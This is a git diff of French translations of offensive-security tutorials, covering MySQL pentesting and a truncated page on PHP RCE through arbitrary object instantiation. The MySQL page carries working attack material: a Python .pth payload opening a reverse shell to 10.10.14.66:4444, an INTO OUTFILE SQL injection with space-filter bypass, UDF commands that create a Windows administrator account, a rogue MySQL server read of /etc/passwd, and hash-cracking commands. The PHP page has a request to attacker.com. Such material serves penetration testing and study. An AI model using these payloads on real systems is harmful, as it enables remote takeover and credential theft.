diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index dc80171e1..1aa264347 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,13 +4,13 @@ ## **Informations de base** -**MySQL** peut être décrit comme un système de gestion de base de données relationnelle (RDBMS) open source qui est disponible gratuitement. Il fonctionne sur le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données. +**MySQL** peut être décrit comme un open source **Relational Database Management System (RDBMS)** disponible gratuitement. Il fonctionne avec le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données. **Port par défaut :** 3306 ``` 3306/tcp open mysql ``` -## **Connecter** +## **Connexion** ### **Local** ```bash @@ -24,7 +24,7 @@ mysql -h -u root@localhost ``` ## External Enumeration -Certaines des actions d'énumération nécessitent des identifiants valides. +Certaines actions d'enumeration nécessitent des credentials valides. ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**Brute force**](../generic-hacking/brute-force.md#mysql) -### Écrire des données binaires quelconques +### Écrire des données binaires ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -101,44 +101,44 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -Vous pouvez voir dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +Vous pouvez consulter dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) -### Exécution de code à distance via fichier MySQL +### MySQL File RCE {{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → RCE `.pth` Python (hooks de configuration spécifiques au site) +#### INTO OUTFILE → Python `.pth` RCE (hooks de configuration spécifiques au site) -En abusant du classique `INTO OUTFILE`, il est possible d'obtenir une *exécution de code arbitraire* sur des cibles qui exécutent ensuite des scripts **Python**. +Abusant du classique `INTO OUTFILE` primitive, il est possible d'obtenir *arbitrary code execution* sur des cibles qui exécutent ensuite des scripts **Python**. -1. Utilisez `INTO OUTFILE` pour déposer un fichier **`.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (par exemple `.../lib/python3.10/site-packages/`). -2. Le fichier `.pth` peut contenir une *ligne unique* commençant par `import ` suivie de code Python arbitraire qui sera exécuté chaque fois que l'interpréteur démarre. -3. Lorsque l'interpréteur est exécuté implicitement par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`), la charge utile est exécutée avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root** → RCE complète avant authentification). +1. Utilisez `INTO OUTFILE` pour déposer un fichier **`.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (ex. `.../lib/python3.10/site-packages/`). +2. Le fichier `.pth` peut contenir une *seule ligne* commençant par `import ` suivie de code Python arbitraire qui sera exécuté à chaque démarrage de l'interpréteur. +3. Lorsque l'interpréteur est exécuté implicitement par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`), le payload est exécuté avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root** → full pre-auth RCE). -Exemple de charge utile `.pth` (ligne unique, aucun espace ne peut être inclus dans la charge utile SQL finale, donc hex/`UNHEX()` ou concaténation de chaînes peut être nécessaire) : +Exemple de payload `.pth` (ligne unique, aucun espace ne peut être inclus dans le payload SQL final, donc hex/`UNHEX()` ou concaténation de chaînes peut être nécessaire): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Exemple de création du fichier via une requête **UNION** (les espaces sont remplacés par `/**/` pour contourner un filtre d'espace `sscanf("%128s")` et maintenir la longueur totale ≤128 octets) : +Exemple de création du fichier via une requête **UNION** (les espaces remplacés par `/**/` pour contourner un filtre d'espace `sscanf("%128s")` et maintenir la longueur totale ≤128 octets): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` Limitations importantes et contournements : * `INTO OUTFILE` **ne peut pas écraser** les fichiers existants ; choisissez un nouveau nom de fichier. -* Le chemin du fichier est résolu **par rapport au CWD de MySQL**, donc préfixer avec `../../` aide à raccourcir le chemin et à contourner les restrictions de chemin absolu. -* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire), tout espace tronquera la charge utile ; utilisez les séquences de commentaires MySQL `/**/` ou `/*!*/` pour remplacer les espaces. -* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais dans de nombreux appareils (par exemple, FortiWeb), le service s'exécute en tant que **root**, donnant un accès en écriture presque partout. +* Le chemin de fichier est résolu **par rapport au CWD de MySQL**, donc préfixer par `../../` permet de raccourcir le chemin et de contourner les restrictions sur les chemins absolus. +* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire), tout espace tronquera le payload ; utilisez les séquences de commentaires MySQL `/**/` ou `/*!*/` pour remplacer les espaces. +* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais dans de nombreux appliances (par ex. FortiWeb) le service s'exécute en tant que **root**, donnant un accès en écriture presque partout. -Après avoir supprimé le `.pth`, demandez simplement n'importe quel CGI géré par l'interpréteur python pour obtenir une exécution de code : +Après avoir déposé le fichier `.pth`, il suffit de requêter n'importe quel CGI géré par l'interpréteur python pour obtenir l'exécution de code : ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Le processus Python importera automatiquement le `.pth` malveillant et exécutera la charge utile shell. +Le processus Python importera automatiquement le `.pth` malveillant et exécutera le shell payload. ``` # Attacker $ nc -lvnp 4444 @@ -147,23 +147,22 @@ uid=0(root) gid=0(root) groups=0(root) ``` --- -## Lecture de fichiers arbitraires MySQL par le client +## MySQL lecture arbitraire de fichiers par le client -En fait, lorsque vous essayez de **charger des données locales dans une table**, le **contenu d'un fichier** est demandé par le serveur MySQL ou MariaDB au **client pour le lire** et envoyer le contenu. **Ensuite, si vous pouvez manipuler un client MySQL pour vous connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\ -Veuillez noter que c'est le comportement en utilisant : +En réalité, lorsque vous essayez de **load data local into a table** le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer son contenu. **Donc, si vous pouvez altérer un mysql client pour qu'il se connecte à votre propre MySQL server, vous pouvez lire des fichiers arbitraires.**\ +Veuillez noter que ceci est le comportement en utilisant : ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Notice the "local" word)\ -Parce qu'en l'absence de "local", vous pouvez obtenir : +(Remarquez le mot "local")\ Parce que sans le "local" vous pouvez obtenir : ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Initial PoC :** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**Dans cet article, vous pouvez voir une description complète de l'attaque et même comment l'étendre à RCE :** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Ici, vous pouvez trouver un aperçu de l'attaque :** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**PoC initial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**Dans cet article vous trouverez une description complète de l'attaque et même comment l'étendre à RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Vous trouverez ici un aperçu de l'attaque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -173,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ### Utilisateur Mysql -Il sera très intéressant si mysql fonctionne en tant que **root** : +Ce sera très intéressant si mysql s'exécute en tant que **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 @@ -182,12 +181,12 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= Dans la configuration des services MySQL, divers paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité : -- Le paramètre **`user`** est utilisé pour désigner l'utilisateur sous lequel le service MySQL sera exécuté. -- **`password`** est appliqué pour établir le mot de passe associé à l'utilisateur MySQL. +- Le paramètre **`user`** est utilisé pour désigner l'utilisateur sous lequel le service MySQL s'exécutera. +- **`password`** est appliqué pour définir le mot de passe associé à l'utilisateur MySQL. - **`admin_address`** spécifie l'adresse IP qui écoute les connexions TCP/IP sur l'interface réseau administrative. -- La variable **`debug`** indique les configurations de débogage actuelles, y compris des informations sensibles dans les journaux. -- **`sql_warnings`** gère si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements apparaissent, contenant des données sensibles dans les journaux. -- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est contrainte pour améliorer la sécurité. +- La variable **`debug`** indique les configurations de débogage présentes, incluant des informations sensibles dans les journaux. +- **`sql_warnings`** contrôle si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements surviennent, contenant des données sensibles dans les journaux. +- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est restreinte pour améliorer la sécurité. ### Escalade de privilèges ```bash @@ -207,18 +206,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Escalade de privilèges via bibliothèque +### Privilege Escalation via library -Si le **serveur mysql fonctionne en tant que root** (ou un autre utilisateur avec plus de privilèges), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **fonctions définies par l'utilisateur**. Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql. +Si le **mysql server is running as root** (ou un autre utilisateur plus privilégié) vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **user defined functions**. Et pour créer une user defined vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql. -La bibliothèque malveillante à utiliser peut être trouvée à l'intérieur de sqlmap et à l'intérieur de metasploit en faisant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin. +La bibliothèque malveillante à utiliser peut être trouvée dans sqlmap et dans metasploit en lançant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin. -Si vous **n'avez pas** ces bibliothèques, vous pouvez soit **les chercher**, soit télécharger ce [**code C linux**](https://www.exploit-db.com/exploits/1518) et **le compiler à l'intérieur de la machine linux vulnérable** : +Si vous n'avez pas ces bibliothèques, vous pouvez soit les rechercher, soit télécharger ce [**linux C code**](https://www.exploit-db.com/exploits/1518) et le compiler sur la machine vulnérable linux : ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Maintenant que vous avez la bibliothèque, connectez-vous à Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes : +Maintenant que vous avez la bibliothèque, connectez-vous dans Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes : #### Linux ```sql @@ -252,21 +251,30 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Extraction des identifiants MySQL à partir de fichiers +#### Astuce Windows: créer des répertoires avec NTFS ADS depuis SQL -À l'intérieur de _/etc/mysql/debian.cnf_, vous pouvez trouver le **mot de passe en texte clair** de l'utilisateur **debian-sys-maint**. +Sur NTFS, vous pouvez forcer la création d'un répertoire en utilisant un flux de données alternatif même lorsqu'il n'existe qu'une primitive d'écriture de fichier. Si la chaîne UDF classique attend un répertoire `plugin` mais qu'il n'existe pas et que `@@plugin_dir` est inconnu ou verrouillé, vous pouvez le créer d'abord avec `::$INDEX_ALLOCATION`: +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` +Cela transforme l'utilisation limitée de `SELECT ... INTO OUTFILE` en une primitive plus complète sur les stacks Windows en créant la structure de dossiers nécessaire pour les UDF drops. + +### Extraction des identifiants MySQL depuis des fichiers + +Dans _/etc/mysql/debian.cnf_ vous pouvez trouver le **mot de passe en clair** de l'utilisateur **debian-sys-maint**. ```bash cat /etc/mysql/debian.cnf ``` Vous pouvez **utiliser ces identifiants pour vous connecter à la base de données mysql**. -À l'intérieur du fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hachages des utilisateurs MySQL** (ceux que vous pouvez extraire de mysql.user à l'intérieur de la base de données)_._ +Dans le fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hashes des utilisateurs MySQL** (ceux que vous pouvez extraire de mysql.user inside the database)_._ Vous pouvez les extraire en faisant : ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Activer la journalisation +### Activation de la journalisation Vous pouvez activer la journalisation des requêtes mysql dans `/etc/mysql/my.cnf` en décommentant les lignes suivantes : @@ -289,14 +297,14 @@ Fichiers de configuration - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Historique des commandes +- Command History - \~/.mysql.history -- Fichiers journaux +- Log Files - connections.log - update.log - common.log -## Base de données/tables MySQL par défaut +## Bases/Tables MySQL par défaut {{#tabs}} {{#tab name="information_schema"}} @@ -647,36 +655,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Points forts (nouveau) +## 2023-2025 Highlights (new) -### JDBC `propertiesTransform` désérialisation (CVE-2023-21971) -À partir de Connector/J <= 8.0.32, un attaquant qui peut influencer l'**URL JDBC** (par exemple dans un logiciel tiers qui demande une chaîne de connexion) peut demander à charger des classes arbitraires sur le côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le chemin de classe est chargeable, cela entraîne **l'exécution de code à distance dans le contexte du client JDBC** (pré-auth, car aucune information d'identification valide n'est requise). Un PoC minimal ressemble à : +### JDBC `propertiesTransform` deserialization (CVE-2023-21971) +À partir de Connector/J <= 8.0.32, un attaquant qui peut influencer la **JDBC URL** (par exemple dans un logiciel tiers qui demande une chaîne de connexion) peut demander le chargement de classes arbitraires côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le class-path est chargeable, cela aboutit à **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). Un PoC minimal ressemble à : ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Exécuter `Evil.class` peut être aussi simple que de le produire dans le chemin de classe de l'application vulnérable ou de laisser un serveur MySQL malveillant envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 – mettez à jour le pilote ou définissez explicitement `propertiesTransform` sur une liste blanche. -(Voir l'article de Snyk pour plus de détails) +Exécuter `Evil.class` peut être aussi simple que de le placer sur le class-path de l'application vulnérable ou de laisser un serveur MySQL rogue envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 – mettez à jour le driver ou définissez explicitement `propertiesTransform` dans une liste d'autorisation. +(See Snyk write-up for details) -### Attaques de serveurs MySQL faux / malveillants contre les clients JDBC -Plusieurs outils open-source implémentent un protocole MySQL *partiel* afin d'attaquer les clients JDBC qui se connectent vers l'extérieur : +### Rogue / Fake MySQL server attacks against JDBC clients +Plusieurs outils open-source implémentent un protocole MySQL *partiel* afin d'attaquer des clients JDBC qui se connectent vers l'extérieur : -* **mysql-fake-server** (Java, prend en charge les exploits de lecture de fichiers et de désérialisation) +* **mysql-fake-server** (Java, prend en charge la lecture de fichiers et les exploits de désérialisation) * **rogue_mysql_server** (Python, capacités similaires) -Chemins d'attaque typiques : +Scénarios d'attaque typiques : 1. L'application victime charge `mysql-connector-j` avec `allowLoadLocalInfile=true` ou `autoDeserialize=true`. -2. L'attaquant contrôle l'entrée DNS / hôte de sorte que le nom d'hôte de la base de données se résolve vers une machine sous son contrôle. -3. Le serveur malveillant répond avec des paquets conçus qui déclenchent soit une lecture de fichier arbitraire `LOCAL INFILE`, soit une désérialisation Java → RCE. +2. L'attaquant contrôle le DNS / l'entrée hosts pour que le nom d'hôte de la DB pointe vers une machine sous son contrôle. +3. Le serveur malveillant répond par des paquets craftés qui déclenchent soit une lecture de fichier arbitraire via `LOCAL INFILE`, soit une désérialisation Java → RCE. -Exemple de ligne de commande pour démarrer un serveur faux (Java) : +Exemple de one-liner pour démarrer un faux serveur (Java) : ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` Ensuite, pointez l'application victime vers `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` et lisez `/etc/passwd` en encodant le nom de fichier en base64 dans le champ *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). -### Craquer les hachages `caching_sha2_password` -MySQL ≥ 8.0 stocke les hachages de mot de passe sous **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) prennent en charge le craquage hors ligne depuis 2023. Dump la colonne `authentication_string` et alimentez-la directement : +### Craquage des hashes `caching_sha2_password` +MySQL ≥ 8.0 stocke les hashes de mot de passe au format **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) supportent le cracking hors ligne depuis 2023. Dump la colonne `authentication_string` et alimentez-la directement : ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -685,20 +693,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Liste de vérification de durcissement (2025) -• Définir **`LOCAL_INFILE=0`** et **`--secure-file-priv=/var/empty`** pour éliminer la plupart des primitives de lecture/écriture de fichiers. -• Supprimer le privilège **`FILE`** des comptes d'application. -• Sur Connector/J, définir `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vide). -• Désactiver les plugins d'authentification inutilisés et **exiger TLS** (`require_secure_transport = ON`). -• Surveiller les déclarations `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les déclarations `SET GLOBAL` soudaines. +### Checklist de durcissement (2025) +• Définir **`LOCAL_INFILE=0`** et **`--secure-file-priv=/var/empty`** pour désactiver la plupart des primitives de lecture/écriture de fichiers. +• Retirer le privilège **`FILE`** des comptes applicatifs. +• Sur Connector/J, définir `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vide). +• Désactiver les plugins d'authentification inutilisés et exiger TLS (`require_secure_transport = ON`). +• Surveiller les instructions `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les instructions `SET GLOBAL` soudaines. --- ## Références -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) -- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 7ad181750..a17742bba 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,4 +1,4 @@ -# PHP - RCE abusant de la création d'objets : new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE en abusant de la création d'objets : new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} @@ -6,13 +6,13 @@ Ceci est essentiellement un résumé de [https://swarm.ptsecurity.com/exploiting ## Introduction -La création de nouveaux objets arbitraires, tels que `new $_GET["a"]($_GET["a"])`, peut conduire à une exécution de code à distance (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en évidence diverses stratégies pour atteindre la RCE. +La création de nouveaux objets arbitraires, tels que `new $_GET["a"]($_GET["a"])`, peut conduire à Remote Code Execution (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en avant différentes stratégies pour atteindre une RCE. -## RCE via des classes personnalisées ou l'autoloading +## RCE via classes personnalisées ou autoloading -La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir des entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types. +La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir d'entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types. -Considérez l'extrait de code ci-dessous : +Considérez l'extrait de code ci‑dessous : ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -Dans ce cas, définir `$a` sur `App` ou `App2` et `$b` sur une commande système (par exemple, `uname -a`) entraîne l'exécution de cette commande. +Dans cet exemple, assigner `$a` à `App` ou `App2` et `$b` à une commande système (par exemple, `uname -a`) entraîne l'exécution de cette commande. -**Les fonctions d'autoloading** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes à partir de fichiers lorsque cela est nécessaire et sont définies à l'aide de `spl_autoload_register` ou `__autoload`: +**Autoloading functions** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nécessaire et sont définies en utilisant `spl_autoload_register` ou `__autoload` : ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -49,48 +49,73 @@ Le comportement de l'autoloading varie selon les versions de PHP, offrant diffé ## RCE via des classes intégrées -En l'absence de classes personnalisées ou d'autoloaders, **les classes intégrées de PHP** peuvent suffire pour le RCE. Le nombre de ces classes varie entre 100 et 200, en fonction de la version de PHP et des extensions. Elles peuvent être listées en utilisant `get_declared_classes()`. +Faute de classes personnalisées ou d'autoloaders, **built-in PHP classes** peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent être listées en utilisant `get_declared_classes()`. -Les constructeurs d'intérêt peuvent être identifiés via l'API de réflexion, comme le montre l'exemple suivant et le lien [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Les constructeurs intéressants peuvent être identifiés via la reflection API, comme montré dans l'exemple suivant et le lien [https://3v4l.org/2JEGF]. -**Le RCE via des méthodes spécifiques inclut :** +**Les possibilités de RCE via des méthodes spécifiques incluent :** -### **SSRF + Désérialisation Phar** +### **SSRF + Phar Deserialization** -La classe `SplFileObject` permet le SSRF via son constructeur, permettant des connexions à n'importe quelle URL : +La classe `SplFileObject` permet le SSRF via son constructeur, autorisant des connexions vers n'importe quelle URL : ```php new SplFileObject('http://attacker.com/'); ``` -SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 utilisant le protocole Phar. +SSRF peut conduire à des deserialization attacks dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar. -### **Exploitation des PDO** +### **Exploiter les PDOs** -Le constructeur de la classe PDO permet des connexions à des bases de données via des chaînes DSN, ce qui peut potentiellement permettre la création de fichiers ou d'autres interactions : +Le constructeur de la classe PDO permet des connexions aux bases de données via des chaînes DSN, pouvant potentiellement permettre la création de fichiers ou d'autres interactions: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, en fonction de la version de libxml2. +Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, selon la version de libxml2. -## RCE via l'extension Imagick +## RCE via Imagick Extension -Dans l'analyse des **dépendances d'un projet**, il a été découvert qu'**Imagick** pouvait être utilisé pour **l'exécution de commandes** en instanciant de nouveaux objets. Cela présente une opportunité d'exploiter des vulnérabilités. +Dans l'analyse des **dépendances** d'un projet, il a été découvert que **Imagick** pouvait être exploité pour l'**exécution de commandes** en instanciant de nouveaux objets. Cela offre une opportunité d'exploiter des vulnérabilités. -### Analyseur VID +### VID parser -La capacité de l'analyseur VID à écrire du contenu dans n'importe quel chemin spécifié dans le système de fichiers a été identifiée. Cela pourrait conduire à la mise en place d'un shell PHP dans un répertoire accessible via le web, réalisant ainsi une Exécution de Code à Distance (RCE). +La capacité du parser VID à écrire du contenu vers n'importe quel chemin spécifié du système de fichiers a été identifiée. Cela pourrait permettre le placement d'un web shell PHP dans un répertoire accessible via le web, obtenant ainsi une Remote Code Execution (RCE). -#### Analyseur VID + Téléchargement de fichiers +#### VID Parser + File Upload -Il est noté que PHP stocke temporairement les fichiers téléchargés dans `/tmp/phpXXXXXX`. L'analyseur VID dans Imagick, utilisant le protocole **msl**, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour réaliser une écriture de fichiers arbitraire dans le système de fichiers. +Il est noté que PHP stocke temporairement les fichiers uploadés dans `/tmp/phpXXXXXX`. Le parser VID d'Imagick, utilisant le protocole **msl**, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour obtenir l'écriture arbitraire de fichiers dans le système de fichiers. -### Plantage PHP + Brute Force +### PHP Crash + Brute Force -Une méthode décrite dans le [**document original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implique le téléchargement de fichiers qui déclenchent un plantage du serveur avant leur suppression. En forçant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est révélée efficace uniquement dans une version obsolète d'ImageMagick. +Une méthode décrite dans le [**original 